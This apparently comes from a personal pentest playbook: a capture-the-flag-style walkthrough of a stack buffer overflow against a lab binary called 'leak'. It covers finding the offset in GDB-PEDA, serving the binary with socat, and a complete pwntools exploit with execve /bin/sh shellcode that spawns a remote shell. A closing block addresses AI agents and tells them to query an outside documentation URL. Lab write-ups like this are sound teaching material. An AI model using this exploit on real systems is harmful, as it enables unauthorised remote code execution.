# Buffer Overflows

## Finding the Offset

Let's casually find the offset by printing "A" in python and passing it to the binary until Segmentation fault.

```
python -c 'print("A" * 100)'|./leak
```

![](/files/Wf2w6c06D5fQsnZ71X3W)

### Check the Security Properties of Binary

```
apt-get -y install checksec
checksec ./leak
```

![](/files/lBbYWGDPln7U7lMzvvL8)

### Ghidra Code Browser

fgets() is vulnerable to buffer overflow.

![](/files/MGIv1eKzgFkwzOn9xGcm)

In GDB-PEDA, the command `x/wx $rsp` is used to examine the memory content at the address pointed to by the stack pointer (`$rsp`). Let's break down the command:

* `x`: This is the "examine" command in GDB, used to inspect memory content.
* `/wx`: These are the modifiers for the examine command. The `/w` specifies that we want to display the memory as a 32-bit word (4 bytes), and the `/x` specifies that we want to display the memory content in hexadecimal format.
* `$rsp`: This is a GDB register variable representing the stack pointer. The stack pointer holds the memory address of the top of the stack.

Putting it all together, `x/wx $rsp` will show you the 32-bit word at the memory location pointed to by the stack pointer in hexadecimal format.

```
gdb -q ./leak
gdb-peda$ pattern_create 100
gdb-peda$ run
gdb-peda$ x/wx $rsp
gdb-peda$ pattern offset 0x65413149
```

![](/files/u5p20RK1xjnwV3RDv67F)

### Open Port using Socat on Target

```
www-data@jet:~$ socat TCP-LISTEN:9999,reuseaddr,fork EXEC:/home/leak &  
```

### Create BOF exploit using PwnTools Library

```
#!/usr/bin/python3
from pwn import remote, p64

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"  

offset = 72
junk = b"A" * (offset - len(shellcode))

shell = remote('10.13.37.10', 9999)
shell.recvuntil(b"Oops, I'm leaking! ")

leak = int(shell.recvuntil(b"\n"),16)  
ret = p64(leak)

payload = shellcode + junk + ret  

shell.recvuntil(b"> ")
shell.sendline(payload)
shell.interactive()

```

### Execute Exploit and Gain shell

```
python3 bof.py
```

![](/files/aiIbBisgwMZBH3ZeJr51)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/buffer-overflows.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
